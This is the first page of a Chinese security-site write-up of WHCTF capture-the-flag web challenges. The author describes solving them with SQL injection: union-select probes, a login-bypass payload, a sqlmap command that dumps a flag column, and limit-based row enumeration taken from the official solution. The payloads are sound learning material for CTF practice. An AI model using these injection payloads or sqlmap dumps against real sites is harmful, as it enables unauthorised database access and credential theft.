欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

WHCTF WEB题目分析

来源:本站整理 作者:乘物游心 时间:2016-06-27 TAG: 我要投稿

 之前一直都是在学习Web安全相关的知识,而WHCTF算是第一次真正意义上的参加了CTF比赛。这次的CTF比赛由于华科是第一次举办,导致题目相对于以往的大部分考察的是技巧性的CTF比赛的题目,本次的很多的题目都是一些脑洞大开的题目。本篇文章仅仅说明我在做题过程中的思考以及最后的收获,对于那些需要靠猜的题目就不多过多的介绍和说明。

窃取

题目的样式如下所示:
题目图片
这样的题目id一般都是注入点,本题也不例外。验证的例子如下

1
http://106.75.10.230:9090/index.php?id=1 and 1=0 union select 1,2,3

发现页面输出的是2。接下来使用sqlmap来跑表。然后按照步骤一步步地进行操作。最后发现在users表中存在这样的数据。

然后根据题目将密码进行异或运算。Python中可以直接进行异或运算。如下:

1
2
3
4
a = 0x8FC63BC4337CD4B5F70577118BB69FE8
b = 0x6a3fba70c97c880679a740669ddd5ca3
c = a^b
print(hex(c)) #0xe5f981b4fa005cb38ea23777166bc34b

最后进行md5反查之后,就得到了flag,whctf{hust}

忘了账户和密码

这道题目也是自己率先做出来的题目。我目前的水平刚好达到了这道题目的难度。
题目图片
如上如所示,题目会显示执行的sql语句。那么用户名就会存在一个注入点。但是在尝试使用

1
**username=wyj'or 1=1 # &password=123**

却发现程序仍然无法返回。根据我作为一名程序员的直觉,我认为对查询返回的结果的长度进行了判断。如果查询返回的结果不为1,则认为登录失败,按照这个想法,我的payload如下:

1
username=wyj'  union select 1,2,3# &password=123

提交之后,果然拿到flag。whctf{hustatmyhome}

忘记了密码怎么办

这道题目的如下:

这道题目直接使用sqlmap就可以跑出答案。
命令如下:

1
python sqlmap.py -u "http://106.75.10.230:7890/" --data "username=123&pass=12" -D "sql_i" -T "user" --dump -C flag

但是在使用sqlmap跑数据的时候,发现好像使用的是基于时间的注入,导致注入的时间比较的长。当时我试着去拖整个库,发现耗时太长了。最后使用--dump -C flag就可以选择只是提取flag这一列的数据。
刚才看了writeup之后,又新涨了姿势了。
以下是官方给出的writeup的解答。

首先根据题目得提示是一个SQL注入的问题。使用or 1=1 #和') or 1=1#发现存在sql注入。观看提示框,发现每次只能出一个结果,所以需要结合sql中的limit进行sql注入。') or 1=1 limit 1,1#
当注入到第五行出现whctf{这个答案。继续注入如下:
') or 1=1 limit5,1 #
') or 1=1 limit6,1 #
') or 1=1 limit7,1 #
') or 1=1 limit8,1 #
拼接之后就可以得到答案。whctf{hello$$##itisme&---&&&}

从这个官方的答案中,我发现还可以使用') or 1=1#,这样的sql主人语句就是用来注入select * from users where username = ($username) and password=($password)。其次当遇到每次只能返回一条结果的时候可以使用limit来遍历所有的结果,这个也是我之前没有使用的。
关于limit的用法,limit n,m中的n表示的是偏移量,而n返回记录行的数目。如limit 5,1其实就是返回第5行的结果。

看图说话

这道题目我没有做出来,起初以为是需要绕过登录,需要用到与XSS

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载